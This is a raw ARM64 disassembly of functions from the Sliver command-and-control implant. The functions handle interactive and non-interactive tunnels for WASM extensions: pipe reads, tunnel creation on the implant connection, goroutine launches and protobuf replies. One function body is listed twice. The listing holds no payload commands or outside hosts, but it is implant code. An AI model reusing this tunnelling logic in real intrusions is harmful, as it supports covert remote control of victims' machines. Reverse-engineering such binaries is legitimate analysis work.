0040f8f4stp x29, x30, [x20-8]
0040f8f8add sp, x20, 0
0040f8fcsub x29, sp, 8
0040f900ldr x4, [x26+8]
0040f904str x4, [sp+1096]
0040f908ldr x4, [x26+16]
0040f90cstr x4, [sp+1104]
0040f910b 0x40f914
0040f914
0040f914loc_40f914:
0040f914b 0x40f918
0040f918
0040f918loc_40f918:
0040f918b 0x40f91c
0040f91c
0040f91cloc_40f91c:
0040f91cadd x20, sp, 48
0040f920adr x27, 16
0040f924stp x29, x27, [sp-24]
0040f928sub x29, sp, 24
0040f92cbl runtime.duffzero
0040f930sub x29, sp, 8
0040f934add x4, sp, 48
0040f938ldrsb x27, [x4]
0040f93cb 0x40f940
0040f940
0040f940loc_40f940:
0040f940str x4, [sp+1128]
0040f944orr x4, xzr, 1024
0040f948str x4, [sp+1136]
0040f94cstr x4, [sp+1144]
0040f950add x27, sp, 1192
0040f954stp xzr, xzr, [x27]
0040f958ldr x4, [sp+1096]
0040f95cldrsb x27, [x4]
0040f960ldr x4, [x4+24]
0040f964ldrsb x27, [x4]
0040f968ldr x0, [x4]
0040f96cstr x0, [sp+1280]
0040f970ldr x1, [sp+1128]
0040f974ldr x2, [sp+1136]
0040f978ldr x3, [sp+1144]
0040f97cbl io.(*PipeReader).Read
0040f980str x0, [sp+1080]
0040f984str x1, [sp+1192]
0040f988str x2, [sp+1200]
0040f98cldr x4, [sp+1080]
0040f990str x4, [sp+1088]
0040f994str x1, [sp+1208]
0040f998str x2, [sp+1216]
0040f99cldr x4, [sp+1088]
0040f9a0str x4, [sp+1072]
0040f9a4str x1, [sp+1112]
0040f9a8str x2, [sp+1120]
0040f9acldr x1, [sp+1072]
0040f9b0ldr x2, [sp+1144]
0040f9b4ldr x4, [sp+1128]
0040f9b8subs xzr, x2, x1
0040f9bcb.hs 0x40f9c4
0040f9c0b 0x40fb04
0040f9c4
0040f9c4loc_40f9c4:
0040f9c4b 0x40f9c8
0040f9c8
0040f9c8loc_40f9c8:
0040f9c8str x4, [sp+1168]
0040f9ccstr x1, [sp+1176]
0040f9d0str x2, [sp+1184]
0040f9d4ldr x0, [sp+1104]
0040f9d8mov x3, x2
0040f9dcmov x2, x1
0040f9e0mov x1, x4
0040f9e4bl bytes.(*Buffer).Write
0040f9e8adrp x27, 0x612000
0040f9ecldr x4, [x27+1520]
0040f9f0ldr x5, [sp+1112]
0040f9f4subs xzr, x5, x4
0040f9f8b.eq 0x40fa00
0040f9fcb 0x40fa2c
0040fa00
0040fa00loc_40fa00:
0040fa00ldr x0, [sp+1112]
0040fa04ldr x1, [sp+1120]
0040fa08adrp x27, 0x612000
0040fa0cldr x2, [x27+1528]
0040fa10bl runtime.ifaceeq
0040fa14tbnz w0, 0, 0x40fa1c
0040fa18b 0x40fa28
0040fa1c
0040fa1cloc_40fa1c:
0040fa1cldp x29, x30, [sp-8]
0040fa20add sp, sp, 1296
0040fa24ret x30
0040fa28
0040fa28loc_40fa28:
0040fa28b 0x40fa30
0040fa2c
0040fa2cloc_40fa2c:
0040fa2cb 0x40fa30
0040fa30
0040fa30loc_40fa30:
0040fa30ldr x5, [sp+1112]
0040fa34cbnz x5, 0x40fa3c
0040fa38b 0x40fafc
0040fa3c
0040fa3cloc_40fa3c:
0040fa3cadd x27, sp, 1152
0040fa40stp xzr, xzr, [x27]
0040fa44add x5, sp, 1152
0040fa48str x5, [sp+1248]
0040fa4cldr x5, [sp+1112]
0040fa50ldr x6, [sp+1120]
0040fa54str x5, [sp+1232]
0040fa58str x6, [sp+1240]
0040fa5cstr x5, [sp+1224]
0040fa60ldr x5, [sp+1224]
0040fa64cbnz x5, 0x40fa6c
0040fa68b 0x40fa7c
0040fa6c
0040fa6cloc_40fa6c:
0040fa6cldr x5, [sp+1224]
0040fa70ldr x5, [x5+8]
0040fa74str x5, [sp+1224]
0040fa78b 0x40fa80
0040fa7c
0040fa7cloc_40fa7c:
0040fa7cb 0x40fa80
0040fa80
0040fa80loc_40fa80:
0040fa80ldr x5, [sp+1248]
0040fa84ldrsb x27, [x5]
0040fa88ldr x6, [sp+1224]
0040fa8cldr x7, [sp+1240]
0040fa90str x6, [x5]
0040fa94adrp x27, 0x63c000
0040fa98ldr w6, [x27+3056]
0040fa9ccbz w6, 0x40faa4
0040faa0b 0x40faa8
0040faa4
0040faa4loc_40faa4:
0040faa4b 0x40fabc
0040faa8
0040faa8loc_40faa8:
0040faa8bl runtime.gcWriteBarrier2
0040faacstr x7, [x25]
0040fab0ldr x6, [x5+8]
0040fab4str x6, [x25+8]
0040fab8b 0x40fabc
0040fabc
0040fabcloc_40fabc:
0040fabcstr x7, [x5+8]
0040fac0ldr x2, [sp+1248]
0040fac4ldrsb x27, [x2]
0040fac8b 0x40facc
0040facc
0040faccloc_40facc:
0040faccstr x2, [sp+1256]
0040fad0orr x4, xzr, 1
0040fad4str x4, [sp+1264]
0040fad8str x4, [sp+1272]
0040fadcadrp x0, 0x2aa000
0040fae0add x0, x0, 894
0040fae4orr x1, xzr, 24
0040fae8mov x3, x4
0040faecbl log.Printf
0040faf0ldp x29, x30, [sp-8]
0040faf4add sp, sp, 1296
0040faf8ret x30
0040fafc
0040fafcloc_40fafc:
0040fafcb 0x40fb00
0040fb00
0040fb00loc_40fb00:
0040fb00b 0x40f914
0040fb04
0040fb04loc_40fb04:
0040fb04bl runtime.panicSliceAcap
0040fb08hint
0040fb0c
0040fb0cloc_40fb0c:
0040fb0cmov x3, x30
0040fb10bl runtime.morestack.abi0
0040fb14b 0x40f8e0
0040fb18udf 0
0040fb1cudf 0
0040f8e0
0040f8e0github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive.func1: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive.func1(void)
0040f8e0ldr x16, [x28+16]
0040f8e4sub x17, sp, 1168
0040f8e8subs xzr, x17, x16
0040f8ecb.ls 0x40fb0c
0040f8f0sub x20, sp, 1296
0040f8f4stp x29, x30, [x20-8]
0040f8f8add sp, x20, 0
0040f8fcsub x29, sp, 8
0040f900ldr x4, [x26+8]
0040f904str x4, [sp+1096]
0040f908ldr x4, [x26+16]
0040f90cstr x4, [sp+1104]
0040f910b 0x40f914
0040f914
0040f914loc_40f914:
0040f914b 0x40f918
0040f918
0040f918loc_40f918:
0040f918b 0x40f91c
0040f91c
0040f91cloc_40f91c:
0040f91cadd x20, sp, 48
0040f920adr x27, 16
0040f924stp x29, x27, [sp-24]
0040f928sub x29, sp, 24
0040f92cbl runtime.duffzero
0040f930sub x29, sp, 8
0040f934add x4, sp, 48
0040f938ldrsb x27, [x4]
0040f93cb 0x40f940
0040f940
0040f940loc_40f940:
0040f940str x4, [sp+1128]
0040f944orr x4, xzr, 1024
0040f948str x4, [sp+1136]
0040f94cstr x4, [sp+1144]
0040f950add x27, sp, 1192
0040f954stp xzr, xzr, [x27]
0040f958ldr x4, [sp+1096]
0040f95cldrsb x27, [x4]
0040f960ldr x4, [x4+24]
0040f964ldrsb x27, [x4]
0040f968ldr x0, [x4]
0040f96cstr x0, [sp+1280]
0040f970ldr x1, [sp+1128]
0040f974ldr x2, [sp+1136]
0040f978ldr x3, [sp+1144]
0040f97cbl io.(*PipeReader).Read
0040f980str x0, [sp+1080]
0040f984str x1, [sp+1192]
0040f988str x2, [sp+1200]
0040f98cldr x4, [sp+1080]
0040f990str x4, [sp+1088]
0040f994str x1, [sp+1208]
0040f998str x2, [sp+1216]
0040f99cldr x4, [sp+1088]
0040f9a0str x4, [sp+1072]
0040f9a4str x1, [sp+1112]
0040f9a8str x2, [sp+1120]
0040f9acldr x1, [sp+1072]
0040f9b0ldr x2, [sp+1144]
0040f9b4ldr x4, [sp+1128]
0040f9b8subs xzr, x2, x1
0040f9bcb.hs 0x40f9c4
0040f9c0b 0x40fb04
0040f9c4
0040f9c4loc_40f9c4:
0040f9c4b 0x40f9c8
0040f9c8
0040f9c8loc_40f9c8:
0040f9c8str x4, [sp+1168]
0040f9ccstr x1, [sp+1176]
0040f9d0str x2, [sp+1184]
0040f9d4ldr x0, [sp+1104]
0040f9d8mov x3, x2
0040f9dcmov x2, x1
0040f9e0mov x1, x4
0040f9e4bl bytes.(*Buffer).Write
0040f9e8adrp x27, 0x612000
0040f9ecldr x4, [x27+1520]
0040f9f0ldr x5, [sp+1112]
0040f9f4subs xzr, x5, x4
0040f9f8b.eq 0x40fa00
0040f9fcb 0x40fa2c
0040fa00
0040fa00loc_40fa00:
0040fa00ldr x0, [sp+1112]
0040fa04ldr x1, [sp+1120]
0040fa08adrp x27, 0x612000
0040fa0cldr x2, [x27+1528]
0040fa10bl runtime.ifaceeq
0040fa14tbnz w0, 0, 0x40fa1c
0040fa18b 0x40fa28
0040fa1c
0040fa1cloc_40fa1c:
0040fa1cldp x29, x30, [sp-8]
0040fa20add sp, sp, 1296
0040fa24ret x30
0040fa28
0040fa28loc_40fa28:
0040fa28b 0x40fa30
0040fa2c
0040fa2cloc_40fa2c:
0040fa2cb 0x40fa30
0040fa30
0040fa30loc_40fa30:
0040fa30ldr x5, [sp+1112]
0040fa34cbnz x5, 0x40fa3c
0040fa38b 0x40fafc
0040fa3c
0040fa3cloc_40fa3c:
0040fa3cadd x27, sp, 1152
0040fa40stp xzr, xzr, [x27]
0040fa44add x5, sp, 1152
0040fa48str x5, [sp+1248]
0040fa4cldr x5, [sp+1112]
0040fa50ldr x6, [sp+1120]
0040fa54str x5, [sp+1232]
0040fa58str x6, [sp+1240]
0040fa5cstr x5, [sp+1224]
0040fa60ldr x5, [sp+1224]
0040fa64cbnz x5, 0x40fa6c
0040fa68b 0x40fa7c
0040fa6c
0040fa6cloc_40fa6c:
0040fa6cldr x5, [sp+1224]
0040fa70ldr x5, [x5+8]
0040fa74str x5, [sp+1224]
0040fa78b 0x40fa80
0040fa7c
0040fa7cloc_40fa7c:
0040fa7cb 0x40fa80
0040fa80
0040fa80loc_40fa80:
0040fa80ldr x5, [sp+1248]
0040fa84ldrsb x27, [x5]
0040fa88ldr x6, [sp+1224]
0040fa8cldr x7, [sp+1240]
0040fa90str x6, [x5]
0040fa94adrp x27, 0x63c000
0040fa98ldr w6, [x27+3056]
0040fa9ccbz w6, 0x40faa4
0040faa0b 0x40faa8
0040faa4
0040faa4loc_40faa4:
0040faa4b 0x40fabc
0040faa8
0040faa8loc_40faa8:
0040faa8bl runtime.gcWriteBarrier2
0040faacstr x7, [x25]
0040fab0ldr x6, [x5+8]
0040fab4str x6, [x25+8]
0040fab8b 0x40fabc
0040fabc
0040fabcloc_40fabc:
0040fabcstr x7, [x5+8]
0040fac0ldr x2, [sp+1248]
0040fac4ldrsb x27, [x2]
0040fac8b 0x40facc
0040facc
0040faccloc_40facc:
0040faccstr x2, [sp+1256]
0040fad0orr x4, xzr, 1
0040fad4str x4, [sp+1264]
0040fad8str x4, [sp+1272]
0040fadcadrp x0, 0x2aa000
0040fae0add x0, x0, 894
0040fae4orr x1, xzr, 24
0040fae8mov x3, x4
0040faecbl log.Printf
0040faf0ldp x29, x30, [sp-8]
0040faf4add sp, sp, 1296
0040faf8ret x30
0040fafc
0040fafcloc_40fafc:
0040fafcb 0x40fb00
0040fb00
0040fb00loc_40fb00:
0040fb00b 0x40f914
0040fb04
0040fb04loc_40fb04:
0040fb04bl runtime.panicSliceAcap
0040fb08hint
0040fb0c
0040fb0cloc_40fb0c:
0040fb0cmov x3, x30
0040fb10bl runtime.morestack.abi0
0040fb14b 0x40f8e0
0040fb18udf 0
0040fb1cudf 0
0040f8e0
0040fb20
0040fb20github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive(github.com/bishopfox/sliver/protobuf/sliverpb.ExecWasmExtensionReq * req, github.com/bishopfox/sliver/implant/sliver/transports.Connection * conn, github.com/bishopfox/sliver/implant/sliver/extension.WasmExtension * wasm)
0040fb20ldr x16, [x28+16]
0040fb24sub x17, sp, 384
0040fb28subs xzr, x17, x16
0040fb2cb.ls 0x41027c
0040fb30sub x20, sp, 512
0040fb34stp x29, x30, [x20-8]
0040fb38add sp, x20, 0
0040fb3csub x29, sp, 8
0040fb40str x0, [sp+520]
0040fb44str x1, [sp+528]
0040fb48str x2, [sp+536]
0040fb4cstp xzr, xzr, [sp+120]
0040fb50str xzr, [sp+136]
0040fb54stp xzr, xzr, [sp+104]
0040fb58stp xzr, xzr, [sp+432]
0040fb5cadd x1, sp, 432
0040fb60str x1, [sp+328]
0040fb64ldr x1, [sp+520]
0040fb68ldrsb x27, [x1]
0040fb6cldr x0, [x1+64]
0040fb70str x0, [sp+96]
0040fb74bl runtime.convT64
0040fb78str x0, [sp+320]
0040fb7cldr x1, [sp+328]
0040fb80ldrsb x27, [x1]
0040fb84adrp x2, 0x1e6000
0040fb88add x2, x2, 3456
0040fb8cstr x2, [x1]
0040fb90adrp x27, 0x63c000
0040fb94ldr w2, [x27+3056]
0040fb98cbz w2, 0x40fba0
0040fb9cb 0x40fba4
0040fba0
0040fba0loc_40fba0:
0040fba0b 0x40fbb8
0040fba4
0040fba4loc_40fba4:
0040fba4bl runtime.gcWriteBarrier2
0040fba8str x0, [x25]
0040fbacldr x5, [x1+8]
0040fbb0str x5, [x25+8]
0040fbb4b 0x40fbb8
0040fbb8
0040fbb8loc_40fbb8:
0040fbb8str x0, [x1+8]
0040fbbcldr x2, [sp+328]
0040fbc0ldrsb x27, [x2]
0040fbc4b 0x40fbc8
0040fbc8
0040fbc8loc_40fbc8:
0040fbc8str x2, [sp+336]
0040fbccorr x4, xzr, 1
0040fbd0str x4, [sp+344]
0040fbd4str x4, [sp+352]
0040fbd8adrp x0, 0x2bc000
0040fbdcadd x0, x0, 1802
0040fbe0orr x1, xzr, 56
0040fbe4mov x3, x4
0040fbe8bl log.Printf
0040fbecadrp x0, 0x2ac000
0040fbf0add x0, x0, 3124
0040fbf4orr x1, xzr, 28
0040fbf8mov x2, xzr
0040fbfcmov x3, xzr
0040fc00mov x4, x3
0040fc04bl log.Printf
0040fc08adrp x0, 0x1f3000
0040fc0cadd x0, x0, 608
0040fc10bl runtime.newobject
0040fc14str x0, [sp+288]
0040fc18ldr x5, [sp+536]
0040fc1cldrsb x27, [x5]
0040fc20ldr x5, [x5+24]
0040fc24ldrsb x27, [x5]
0040fc28ldr x5, [x5]
0040fc2cadrp x6, 0x307000
0040fc30add x6, x6, 3192
0040fc34str x6, [x0]
0040fc38adrp x27, 0x63c000
0040fc3cldr w6, [x27+3056]
0040fc40cbz w6, 0x40fc48
0040fc44b 0x40fc4c
0040fc48
0040fc48loc_40fc48:
0040fc48b 0x40fc60
0040fc4c
0040fc4cloc_40fc4c:
0040fc4cbl runtime.gcWriteBarrier2
0040fc50str x5, [x25]
0040fc54ldr x6, [x0+8]
0040fc58str x6, [x25+8]
0040fc5cb 0x40fc60
0040fc60
0040fc60loc_40fc60:
0040fc60str x5, [x0+8]
0040fc64ldr x6, [sp+288]
0040fc68ldrsb x27, [x6]
0040fc6cb 0x40fc70
0040fc70
0040fc70loc_40fc70:
0040fc70str x6, [sp+296]
0040fc74orr x6, xzr, 1
0040fc78str x6, [sp+304]
0040fc7cstr x6, [sp+312]
0040fc80ldr x6, [sp+520]
0040fc84ldrsb x27, [x6]
0040fc88ldr x6, [x6+64]
0040fc8cstr x6, [sp+88]
0040fc90ldr x6, [sp+536]
0040fc94ldrsb x27, [x6]
0040fc98ldr x6, [x6+16]
0040fc9cldrsb x27, [x6]
0040fca0ldr x2, [x6+8]
0040fca4adrp x1, 0x307000
0040fca8add x1, x1, 3152
0040fcacstr x1, [sp+272]
0040fcb0str x2, [sp+280]
0040fcb4ldr x0, [sp+88]
0040fcb8ldr x3, [sp+296]
0040fcbcldr x4, [sp+304]
0040fcc0ldr x5, [sp+312]
0040fcc4bl github.com/bishopfox/sliver/implant/sliver/transports.NewTunnel
0040fcc8str x0, [sp+144]
0040fcccldr x6, [sp+528]
0040fcd0mov x1, x0
0040fcd4mov x0, x6
0040fcd8bl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).AddTunnel
0040fcdcadrp x0, 0x23c000
0040fce0add x0, x0, 3776
0040fce4bl runtime.newobject
0040fce8str x0, [sp+264]
0040fcecadrp x6, 4096
0040fcf0add x6, x6, 2768
0040fcf4str x6, [x0]
0040fcf8ldr x6, [sp+144]
0040fcfcldr x7, [sp+264]
0040fd00ldrsb x27, [x7]
0040fd04adrp x27, 0x63c000
0040fd08ldr w8, [x27+3056]
0040fd0ccbz w8, 0x40fd14
0040fd10b 0x40fd18
0040fd14
0040fd14loc_40fd14:
0040fd14b 0x40fd2c
0040fd18
0040fd18loc_40fd18:
0040fd18bl runtime.gcWriteBarrier2
0040fd1cstr x6, [x25]
0040fd20ldr x1, [x7+8]
0040fd24str x1, [x25+8]
0040fd28b 0x40fd2c
0040fd2c
0040fd2cloc_40fd2c:
0040fd2cstr x6, [x7+8]
0040fd30ldr x1, [sp+528]
0040fd34ldr x2, [sp+264]
0040fd38ldrsb x27, [x2]
0040fd3cadrp x27, 0x63c000
0040fd40ldr w3, [x27+3056]
0040fd44cbz w3, 0x40fd4c
0040fd48b 0x40fd50
0040fd4c
0040fd4cloc_40fd4c:
0040fd4cb 0x40fd64
0040fd50
0040fd50loc_40fd50:
0040fd50bl runtime.gcWriteBarrier2
0040fd54str x1, [x25]
0040fd58ldr x3, [x2+16]
0040fd5cstr x3, [x25+8]
0040fd60b 0x40fd64
0040fd64
0040fd64loc_40fd64:
0040fd64str x1, [x2+16]
0040fd68ldr x1, [sp+264]
0040fd6cstr x1, [sp+168]
0040fd70adrp x0, 0x24d000
0040fd74add x0, x0, 1760
0040fd78bl runtime.newobject
0040fd7cstr x0, [sp+256]
0040fd80adrp x1, 4096
0040fd84add x1, x1, 1648
0040fd88str x1, [x0]
0040fd8cldr x1, [sp+536]
0040fd90ldr x2, [sp+256]
0040fd94ldrsb x27, [x2]
0040fd98adrp x27, 0x63c000
0040fd9cldr w3, [x27+3056]
0040fda0cbz w3, 0x40fda8
0040fda4b 0x40fdac
0040fda8
0040fda8loc_40fda8:
0040fda8b 0x40fdc0
0040fdac
0040fdacloc_40fdac:
0040fdacbl runtime.gcWriteBarrier2
0040fdb0str x1, [x25]
0040fdb4ldr x3, [x2+8]
0040fdb8str x3, [x25+8]
0040fdbcb 0x40fdc0
0040fdc0
0040fdc0loc_40fdc0:
0040fdc0str x1, [x2+8]
0040fdc4ldr x1, [sp+520]
0040fdc8ldr x2, [sp+256]
0040fdccldrsb x27, [x2]
0040fdd0adrp x27, 0x63c000
0040fdd4ldr w3, [x27+3056]
0040fdd8cbz w3, 0x40fde0
0040fddcb 0x40fde4
0040fde0
0040fde0loc_40fde0:
0040fde0b 0x40fdf8
0040fde4
0040fde4loc_40fde4:
0040fde4bl runtime.gcWriteBarrier2
0040fde8str x1, [x25]
0040fdecldr x3, [x2+16]
0040fdf0str x3, [x25+8]
0040fdf4b 0x40fdf8
0040fdf8
0040fdf8loc_40fdf8:
0040fdf8str x1, [x2+16]
0040fdfcldr x1, [sp+144]
0040fe00ldr x2, [sp+256]
0040fe04ldrsb x27, [x2]
0040fe08adrp x27, 0x63c000
0040fe0cldr w3, [x27+3056]
0040fe10cbz w3, 0x40fe18
0040fe14b 0x40fe1c
0040fe18
0040fe18loc_40fe18:
0040fe18b 0x40fe30
0040fe1c
0040fe1cloc_40fe1c:
0040fe1cbl runtime.gcWriteBarrier2
0040fe20str x1, [x25]
0040fe24ldr x3, [x2+24]
0040fe28str x3, [x25+8]
0040fe2cb 0x40fe30
0040fe30
0040fe30loc_40fe30:
0040fe30str x1, [x2+24]
0040fe34ldr x1, [sp+256]
0040fe38str x1, [sp+184]
0040fe3cadrp x0, 0x224000
0040fe40add x0, x0, 1216
0040fe44bl runtime.newobject
0040fe48str x0, [sp+248]
0040fe4cadrp x1, 4096
0040fe50add x1, x1, 1536
0040fe54str x1, [x0]
0040fe58ldr x1, [sp+184]
0040fe5cldr x2, [sp+248]
0040fe60ldrsb x27, [x2]
0040fe64adrp x27, 0x63c000
0040fe68ldr w3, [x27+3056]
0040fe6ccbz w3, 0x40fe74
0040fe70b 0x40fe78
0040fe74
0040fe74loc_40fe74:
0040fe74b 0x40fe8c
0040fe78
0040fe78loc_40fe78:
0040fe78bl runtime.gcWriteBarrier2
0040fe7cstr x1, [x25]
0040fe80ldr x3, [x2+8]
0040fe84str x3, [x25+8]
0040fe88b 0x40fe8c
0040fe8c
0040fe8cloc_40fe8c:
0040fe8cstr x1, [x2+8]
0040fe90ldr x0, [sp+248]
0040fe94bl runtime.newproc
0040fe98adrp x0, 0x2b6000
0040fe9cadd x0, x0, 3956
0040fea0movz x1, 43
0040fea4mov x2, xzr
0040fea8mov x3, xzr
0040feacmov x4, x3
0040feb0bl log.Printf
0040feb4ldr x1, [sp+144]
0040feb8ldrsb x27, [x1]
0040febcldr x2, [x1+16]
0040fec0ldr x3, [x1+8]
0040fec4ldr x1, [x1+24]
0040fec8str x3, [sp+408]
0040feccstr x2, [sp+416]
0040fed0str x1, [sp+424]
0040fed4str xzr, [sp+80]
0040fed8str x2, [sp+72]
0040fedcldr x1, [sp+408]
0040fee0str x1, [sp+64]
0040fee4b 0x40fee8
0040fee8
0040fee8loc_40fee8:
0040fee8ldr x1, [sp+72]
0040feecldr x2, [sp+80]
0040fef0subs xzr, x1, x2
0040fef4b.gt 0x40fefc
0040fef8b 0x4100bc
0040fefc
0040fefcloc_40fefc:
0040fefcldr x1, [sp+64]
0040ff00str x1, [sp+240]
0040ff04ldr x1, [sp+240]
0040ff08ldr x2, [x1+8]
0040ff0cldr x1, [x1]
0040ff10str x1, [sp+152]
0040ff14str x2, [sp+160]
0040ff18cbnz x1, 0x40ff20
0040ff1cb 0x41009c
0040ff20
0040ff20loc_40ff20:
0040ff20adrp x0, 0x24d000
0040ff24add x0, x0, 1952
0040ff28bl runtime.newobject
0040ff2cstr x0, [sp+232]
0040ff30adrp x1, 4096
0040ff34add x1, x1, 800
0040ff38str x1, [x0]
0040ff3cldr x1, [sp+528]
0040ff40ldr x2, [sp+232]
0040ff44ldrsb x27, [x2]
0040ff48adrp x27, 0x63c000
0040ff4cldr w3, [x27+3056]
0040ff50cbz w3, 0x40ff58
0040ff54b 0x40ff5c
0040ff58
0040ff58loc_40ff58:
0040ff58b 0x40ff70
0040ff5c
0040ff5cloc_40ff5c:
0040ff5cbl runtime.gcWriteBarrier2
0040ff60str x1, [x25]
0040ff64ldr x3, [x2+8]
0040ff68str x3, [x25+8]
0040ff6cb 0x40ff70
0040ff70
0040ff70loc_40ff70:
0040ff70str x1, [x2+8]
0040ff74ldr x1, [sp+144]
0040ff78ldr x2, [sp+232]
0040ff7cldrsb x27, [x2]
0040ff80adrp x27, 0x63c000
0040ff84ldr w3, [x27+3056]
0040ff88cbz w3, 0x40ff90
0040ff8cb 0x40ff94
0040ff90
0040ff90loc_40ff90:
0040ff90b 0x40ffa8
0040ff94
0040ff94loc_40ff94:
0040ff94bl runtime.gcWriteBarrier2
0040ff98str x1, [x25]
0040ff9cldr x3, [x2+16]
0040ffa0str x3, [x25+8]
0040ffa4b 0x40ffa8
0040ffa8
0040ffa8loc_40ffa8:
0040ffa8str x1, [x2+16]
0040ffacldr x1, [sp+168]
0040ffb0ldr x2, [sp+232]
0040ffb4ldrsb x27, [x2]
0040ffb8adrp x27, 0x63c000
0040ffbcldr w3, [x27+3056]
0040ffc0cbz w3, 0x40ffc8
0040ffc4b 0x40ffcc
0040ffc8
0040ffc8loc_40ffc8:
0040ffc8b 0x40ffe0
0040ffcc
0040ffccloc_40ffcc:
0040ffccbl runtime.gcWriteBarrier2
0040ffd0str x1, [x25]
0040ffd4ldr x3, [x2+24]
0040ffd8str x3, [x25+8]
0040ffdcb 0x40ffe0
0040ffe0
0040ffe0loc_40ffe0:
0040ffe0str x1, [x2+24]
0040ffe4ldr x1, [sp+232]
0040ffe8str x1, [sp+176]
0040ffecldr x1, [sp+152]
0040fff0ldr x2, [sp+160]
0040fff4str x1, [sp+488]
0040fff8str x2, [sp+496]
0040fffcadrp x0, 0x23c000
00410000add x0, x0, 3936
00410004bl runtime.newobject
00410008str x0, [sp+224]
0041000cadrp x1, 0
00410010add x1, x1, 672
00410014str x1, [x0]
00410018ldr x1, [sp+176]
0041001cldr x2, [sp+224]
00410020ldrsb x27, [x2]
00410024adrp x27, 0x63b000
00410028ldr w3, [x27+3056]
0041002ccbz w3, 0x410034
00410030b 0x410038
00410034
00410034loc_410034:
00410034b 0x41004c
00410038
00410038loc_410038:
00410038bl runtime.gcWriteBarrier2
0041003cstr x1, [x25]
00410040ldr x3, [x2+8]
00410044str x3, [x25+8]
00410048b 0x41004c
0041004c
0041004cloc_41004c:
0041004cstr x1, [x2+8]
00410050ldr x1, [sp+496]
00410054ldr x2, [sp+488]
00410058ldr x3, [sp+224]
0041005cldrsb x27, [x3]
00410060str x2, [x3+16]
00410064adrp x27, 0x63b000
00410068ldr w2, [x27+3056]
0041006ccbz w2, 0x410074
00410070b 0x410078
00410074
00410074loc_410074:
00410074b 0x41008c
00410078
00410078loc_410078:
00410078bl runtime.gcWriteBarrier2
0041007cstr x1, [x25]
00410080ldr x2, [x3+24]
00410084str x2, [x25+8]
00410088b 0x41008c
0041008c
0041008cloc_41008c:
0041008cstr x1, [x3+24]
00410090ldr x0, [sp+224]
00410094bl runtime.newproc
00410098b 0x4100a0
0041009c
0041009cloc_41009c:
0041009cb 0x4100a0
004100a0
004100a0loc_4100a0:
004100a0ldr x1, [sp+80]
004100a4add x1, x1, 1
004100a8str x1, [sp+80]
004100acldr x1, [sp+240]
004100b0add x1, x1, 16
004100b4str x1, [sp+64]
004100b8b 0x40fee8
004100bc
004100bcloc_4100bc:
004100bcadrp x0, 0x275000
004100c0add x0, x0, 480
004100c4bl runtime.newobject
004100c8str x0, [sp+216]
004100ccadrp x27, 0x63b000
004100d0ldr w1, [x27+3056]
004100d4cbz w1, 0x4100dc
004100d8b 0x4100e0
004100dc
004100dcloc_4100dc:
004100dcb 0x4100fc
004100e0
004100e0loc_4100e0:
004100e0str x0, [sp+200]
004100e4mov x1, x0
004100e8adrp x0, 0x275000
004100ecadd x0, x0, 480
004100f0bl runtime.wbZero
004100f4ldr x0, [sp+200]
004100f8b 0x4100fc
004100fc
004100fcloc_4100fc:
004100fcmov x20, x0
00410100adr x27, 16
00410104stp x29, x27, [sp-24]
00410108sub x29, sp, 24
0041010cbl fn_87cf8
00410110sub x29, sp, 8
00410114str xzr, [x0+96]
00410118adrp x0, 0x275000
0041011cadd x0, x0, 3648
00410120bl runtime.newobject
00410124str x0, [sp+208]
00410128adrp x27, 0x63b000
0041012cldr w1, [x27+3056]
00410130cbz w1, 0x410138
00410134b 0x41013c
00410138
00410138loc_410138:
00410138b 0x410158
0041013c
0041013cloc_41013c:
0041013cstr x0, [sp+192]
00410140mov x1, x0
00410144adrp x0, 0x275000
00410148add x0, x0, 3648
0041014cbl runtime.wbZero
00410150ldr x0, [sp+192]
00410154b 0x410158
00410158
00410158loc_410158:
00410158mov x20, x0
0041015cadr x27, 16
00410160stp x29, x27, [sp-24]
00410164sub x29, sp, 24
00410168bl fn_87cf8
0041016csub x29, sp, 8
00410170ldr x2, [sp+208]
00410174ldrsb x27, [x2]
00410178str xzr, [x2+16]
0041017cadrp x27, 0x63b000
00410180ldr w3, [x27+3056]
00410184cbz w3, 0x41018c
00410188b 0x410190
0041018c
0041018cloc_41018c:
0041018cb 0x4101a0
00410190
00410190loc_410190:
00410190ldr x3, [x2+8]
00410194bl runtime.gcWriteBarrier1
00410198str x3, [x25]
0041019cb 0x4101a0
004101a0
004101a0loc_4101a0:
004101a0str xzr, [x2+8]
004101a4ldr x2, [sp+216]
004101a8ldrsb x27, [x2]
004101acldr x3, [sp+208]
004101b0adrp x27, 0x63b000
004101b4ldr w4, [x27+3056]
004101b8cbz w4, 0x4101c0
004101bcb 0x4101c4
004101c0
004101c0loc_4101c0:
004101c0b 0x4101d8
004101c4
004101c4loc_4101c4:
004101c4bl runtime.gcWriteBarrier2
004101c8str x3, [x25]
004101ccldr x4, [x2+64]
004101d0str x4, [x25+8]
004101d4b 0x4101d8
004101d8
004101d8loc_4101d8:
004101d8str x3, [x2+64]
004101dcldr x2, [sp+216]
004101e0str x2, [sp+400]
004101e4stp xzr, xzr, [sp+376]
004101e8str xzr, [sp+392]
004101ecstp xzr, xzr, [sp+360]
004101f0ldr x1, [sp+400]
004101f4adrp x0, 0x304000
004101f8add x0, x0, 3296
004101fcbl google.golang.org/protobuf/proto.Marshal
00410200str x0, [sp+376]
00410204str x1, [sp+384]
00410208str x2, [sp+392]
0041020cstr x3, [sp+360]
00410210str x4, [sp+368]
00410214ldr x2, [sp+376]
00410218ldr x3, [sp+384]
0041021cldr x4, [sp+392]
00410220str x2, [sp+464]
00410224str x3, [sp+472]
00410228str x4, [sp+480]
0041022cldr x2, [sp+360]
00410230ldr x3, [sp+368]
00410234str x2, [sp+448]
00410238str x3, [sp+456]
0041023cldr x2, [sp+464]
00410240ldr x3, [sp+472]
00410244ldr x4, [sp+480]
00410248str x2, [sp+120]
0041024cstr x3, [sp+128]
00410250str x4, [sp+136]
00410254ldr x3, [sp+448]
00410258ldr x4, [sp+456]
0041025cstr x3, [sp+104]
00410260str x4, [sp+112]
00410264ldr x0, [sp+120]
00410268ldr x1, [sp+128]
0041026cldr x2, [sp+136]
00410270ldp x29, x30, [sp-8]
00410274add sp, sp, 512
00410278ret x30
0041027c
0041027cloc_41027c:
0041027cstp x0, x1, [sp+8]
00410280str x2, [sp+24]
00410284mov x3, x30
00410288bl runtime.morestack_noctxt.abi0
